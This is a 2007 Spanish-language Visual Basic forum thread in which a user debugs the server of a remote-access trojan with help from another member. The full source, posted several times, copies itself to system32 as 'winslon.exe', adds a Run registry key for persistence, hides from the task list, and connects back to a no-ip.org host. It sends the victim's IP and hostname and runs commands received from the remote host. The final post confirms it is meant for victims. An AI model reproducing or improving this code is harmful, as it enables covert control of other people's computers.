Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: shadow.darknesses en 17 Enero 2007, 16:48 pm


Título: porque me sale este error
Publicado por: shadow.darknesses en 17 Enero 2007, 16:48 pm
miren esta parte , es pa ejecutar una ruta
(http://img294.imageshack.us/img294/6973/dibujoja7.jpg)
pero no me funca
me sale el error que ven
pero con esto Shell "cmd.exe /c start " & vdata(1)
si me funca pero con esto
Set ruta = CreateObject("WScript.Shell")
ruta.Run vdata(1)
nooo, no entiendo, ya esta declarada la variable y too
me puede ayudar xfavor
Saludos....

Título: Re: porque me sale este error
Publicado por: CeLaYa en 17 Enero 2007, 17:48 pm
y la variable como la tienes declarada??? huh:

o podria ser que no tengas la referencia al "Microsoft Scripting Runtime", para agregar esta referencia selecciona el menú: Proyecto -> Referencias y agregar la librería "scrrun.dll"


Título: Re: porque me sale este error
Publicado por: shadow.darknesses en 17 Enero 2007, 18:39 pm
pero si yo coloko esto
Set ruta = CreateObject("WScript.Shell")
ruta.Run "www.latin-hackgt.tk"
asi si funciona y no ponga nada, solo este code
xq no funca cuando pongo esto
Set ruta = CreateObject("WScript.Shell")
ruta.Run vdata(1)
si es lo mismo , solo que te lo manda el cliente

Título: Re: porque me sale este error
Publicado por: CeLaYa en 17 Enero 2007, 21:20 pm
Pues eso si que esta raro  :o, y porque mejor no pones el control de errorres desde el inicio del procedimiento y salte al final del proc. cuando se provoque el error.

Código:
Private Ws_DataArrival (....

On Local error Goto LineaXXX
...
...
...


LineaXXX
    Msgbox Err.Number & Err.Description
On Local error goto 0
end sub

esto lo digo porque veo que usas el control de errores pero se esta cortando la ejecución,entonces tal vez el error se genere antes de eso, si no, entonces revisa bien la declaración de variables, te recomiendo que pongas la instruccion "Option Explicit"

Título: Re: porque me sale este error
Publicado por: Hans el Topo en 17 Enero 2007, 21:25 pm
puede que falte el new?


Código:
Set ruta = new CreateObject("WScript.Shell")

Título: Re: porque me sale este error
Publicado por: shadow.darknesses en 17 Enero 2007, 22:28 pm
Cita de: CeLaYa en 17 Enero 2007, 21:20 pm
Pues eso si que esta raro  :o, y porque mejor no pones el control de errorres desde el inicio del procedimiento y salte al final del proc. cuando se provoque el error.

Código:
Private Ws_DataArrival (....

On Local error Goto LineaXXX
...
...
...


LineaXXX
    Msgbox Err.Number & Err.Description
On Local error goto 0
end sub

esto lo digo porque veo que usas el control de errores pero se esta cortando la ejecución,entonces tal vez el error se genere antes de eso, si no, entonces revisa bien la declaración de variables, te recomiendo que pongas la instruccion "Option Explicit"
si pongo "option Explicit", siempre xD
mira aki sale el error
(http://img403.imageshack.us/img403/6674/dibujoiq0.jpg)
y este es el code
Código:
Option Explicit
Dim SName As String
Dim win
Dim sys
Dim ruta As Variant, Residencia As Variant, Residencia2 As Variant
Dim obj
Private Sub Form_Load()
On Error Resume Next
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = True
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
End Sub

Private Sub Timer_conect_Timer()
If Ws.State <> 7 Then
Ws.Close
Ws.Connect
Timer_info.Enabled = True
End If
End Sub

Private Sub Timer_info_Timer()
If Ws.State = 7 Then Envia "Conexion|" & SName & "|" & Ws.LocalIP & "|" & Ws.LocalHostName
Timer_info.Enabled = False
End Sub

Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, ruta As String
Dim vdata() As String
On Local Error Resume Next
Ws.GetData datos
vdata = Split(datos, "|")
Select Case vdata(0)
Case "Paint"
Shell ("mspaint")
Case "Chatini"
Me.Visible = True
Case "Chatinfo"
Text_chat.Text = Text_chat.Text & vbNewLine & vdata(1)
Case "Chatfin"
Me.Visible = False
Text_chat.Text = "Chat abierto "
Case "Cerrar"
End
Case "Alerta"
MsgBox vdata(1), vdata(2), vdata(3)
Case "Abrir_cd"
apicd "set CDAudio door open", "", 127, 0
Case "Cerrar_cd"
apicd "set CDAudio door closed", "", 127, 0
Case "Ejec-ruta"
Shell "cmd.exe /c start " & vdata(1)
'Set ruta = CreateObject("WScript.Shell")ruta.Run vdata(1)
End Select
End Sub

Private Sub Enviar_Click()
If Text_nick.Text = "" Then
MsgBox "Debes poner tu nick", vbCritical
Exit Sub
End If
Text_chat.Text = Text_chat.Text & vbNewLine & Text_nick.Text & " : " & Text_mens.Text
Envia "Chatinfo|" & Text_nick.Text & " : " & Text_mens.Text
Text_mens.Text = ""
End Sub

Private Sub Text_chat_Change()
Text_chat.SelStart = Len(Text_chat.Text)
End Sub
Private Sub Text_mens_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Enviar_Click
End Sub
Saludos... gracias =

Título: Re: porque me sale este error
Publicado por: CeLaYa en 17 Enero 2007, 23:54 pm
pues creo que ya encontre el problema, lo que veo esque tienes 2 veces declarada la variable "ruta", en la parte de declaraciones generales la tienes como Variant y en el evento DataArrival aparece otra ves pero como string

Cita de: shadow.darknesses en 17 Enero 2007, 22:28 pm
Código:
Option Explicit
Dim SName As String
Dim win
Dim sys
Dim ruta As Variant, Residencia As Variant, Residencia2 As Variant

Cita de: shadow.darknesses en 17 Enero 2007, 22:28 pm
Código:
Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, ruta As String
Dim vdata() As String

Título: Re: porque me sale este error
Publicado por: shadow.darknesses en 19 Enero 2007, 17:12 pm
cuando lei tu respuesta pense que ese era el error pero no
Código:
Option Explicit
Dim SName As String
Dim win
Dim sys
Dim ruta As Variant, Residencia As Variant, Residencia2 As Variant
Dim obj
Private Sub Form_Load()
On Error Resume Next
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = False
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
End Sub

Private Sub Timer_conect_Timer()
If Ws.State <> 7 Then
Ws.Close
Ws.Connect
Timer_info.Enabled = True
End If
End Sub

Private Sub Timer_info_Timer()
If Ws.State = 7 Then Envia "Conexion|" & SName & "|" & Ws.LocalIP & "|" & Ws.LocalHostName
Timer_info.Enabled = False
End Sub

Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, rutai As String
Dim vdata() As String
On Local Error Resume Next
Ws.GetData datos
vdata = Split(datos, "|")
Select Case vdata(0)
Case "Paint"
Shell ("mspaint")
Case "Chatini"
Me.Visible = True
Case "Chatinfo"
Text_chat.Text = Text_chat.Text & vbNewLine & vdata(1)
Case "Chatfin"
Me.Visible = False
Text_chat.Text = "Chat abierto "
Case "Cerrar"
End
Case "Alerta"
MsgBox vdata(1), vdata(2), vdata(3)
Case "Abrir_cd"
apicd "set CDAudio door open", "", 127, 0
Case "Cerrar_cd"
apicd "set CDAudio door closed", "", 127, 0
Case "Ejec-ruta"
'Shell "cmd.exe /c start " & vdata(1)
Set rutai = CreateObject("WScript.Shell")
rutai.Run vdata(1)
End Select
End Sub

Private Sub Enviar_Click()
If Text_nick.Text = "" Then
MsgBox "Debes poner tu nick", vbCritical
Exit Sub
End If
Text_chat.Text = Text_chat.Text & vbNewLine & Text_nick.Text & " : " & Text_mens.Text
Envia "Chatinfo|" & Text_nick.Text & " : " & Text_mens.Text
Text_mens.Text = ""
End Sub

Private Sub Text_chat_Change()
Text_chat.SelStart = Len(Text_chat.Text)
End Sub
Private Sub Text_mens_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Enviar_Click
End Sub
ahora ese code es
y me sale el mismo error

Título: Re: porque me sale este error
Publicado por: CeLaYa en 19 Enero 2007, 21:38 pm
el erro es que rutai  es de tipo string, y solo te va  a almacenar cadenas de texto

cambia:
Código:
 Set rutai = CreateObject("WScript.Shell")
por
Código:
 Set ruta = CreateObject("WScript.Shell")
y asi se debe de corregir tu problema

Título: Re: porque me sale este error
Publicado por: shadow.darknesses en 20 Enero 2007, 01:33 am
ya encntre el error, se declara como variant xD, no como string, xD xq?
y como puedo hacer, miren este code del server
Código:
Option Explicit
Dim SName As String
Dim win
Dim sys
Dim ruta As Variant, Residencia As Variant, Residencia2 As Variant
Dim obj
Private Sub Form_Load()
On Error Resume Next
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = False
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
End Sub

Private Sub Timer_conect_Timer()
If Ws.State <> 7 Then
Ws.Close
Ws.Connect
Timer_info.Enabled = True
End If
End Sub

Private Sub Timer_info_Timer()
If Ws.State = 7 Then Envia "Conexion|" & SName & "|" & Ws.LocalIP & "|" & Ws.LocalHostName & "|" & App.Major & "." & App.Minor & "." & App.Revision & "|" & Ws.LocalPort
Timer_info.Enabled = False
End Sub

Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, rutai As Variant
Dim vdata() As String
On Local Error Resume Next
Ws.GetData datos
vdata = Split(datos, "|")
Select Case vdata(0)
Case "Paint"
Shell ("mspaint")
Case "Chatini"
Me.Visible = True
Case "Chatinfo"
Text_chat.Text = Text_chat.Text & vbNewLine & vdata(1)
Case "Chatfin"
Me.Visible = False
Text_chat.Text = "Chat abierto "
Case "Cerrar"
End
Case "Alerta"
MsgBox vdata(1), vdata(2), vdata(3)
Case "Abrir_cd"
apicd "set CDAudio door open", "", 127, 0
Case "Cerrar_cd"
apicd "set CDAudio door closed", "", 127, 0
Case "Ejec-ruta"
Set rutai = CreateObject("WScript.Shell")
rutai.Run vdata(1)
End Select
End Sub

Private Sub Enviar_Click()
If Text_nick.Text = "" Then
MsgBox "Debes poner tu nick", vbCritical
Exit Sub
End If
Text_chat.Text = Text_chat.Text & vbNewLine & Text_nick.Text & " : " & Text_mens.Text
Envia "Chatinfo|" & Text_nick.Text & " : " & Text_mens.Text
Text_mens.Text = ""
End Sub

Private Sub Text_chat_Change()
Text_chat.SelStart = Len(Text_chat.Text)
End Sub
Private Sub Text_mens_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Enviar_Click
End Sub
en la parte que se copia a system32, ya yo lo abro y se copia todo bien, lo abro de nuevo y no reemplaza el archivo si no que keda el primer archivo ejecutado, como ago para que lo reemplaze??
Gracias y saludos...

Título: Re: porque me sale este error
Publicado por: CeLaYa en 20 Enero 2007, 14:27 pm
te refieres a esta parte??:
Código:
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"


mmmm  :huh: pues no estoy seguro si el "FileCopy" sobreescribe archivos, pero porque mejor no lo borras y pones el nuevo.

Código:
dim l as long

If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
'--------------------------------------------------------------------
on local error resume next ' Activo el control de errores
l = Getattr(sys & "\winslon.exe") 'Comprueba si ya existe el archivo
if err.number = 0 then 
     'Si no se genera error entonces si encontro el archivo 
     Kill ruta, sys & "\winslon.exe" ' Lo borra
end if
on local error goto 0 ' Desactivo el control de errores
'---------------------------------------------------------------------
FileCopy ruta, sys & "\winslon.exe" ' y pones el nuevo

y como ahora se que no tienes MSND instalado te diré que la función GetAttr es para obtener los atributos de un archivo (si es de solo lectura y esas cosas) y aqui lo uso para saber si existe el archivo, si existe va a regresar un valor "long" a la variable "l", si no existe se genera un error, por eso pongo el control de errores "On Local Error..."

Título: Re: porque me sale este error
Publicado por: shadow.darknesses en 20 Enero 2007, 16:29 pm
es que mira si se lo envio a una victima, ya lo abre, y le quiero enviar una nueva version, no creo que me haga caso de ir a system32 borra el archivo, primer cerralo con ctrl+alt+supr y luego ir a regedit, y borras el registro que dice para que w ejecute cuando enciende el pc
xD


Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines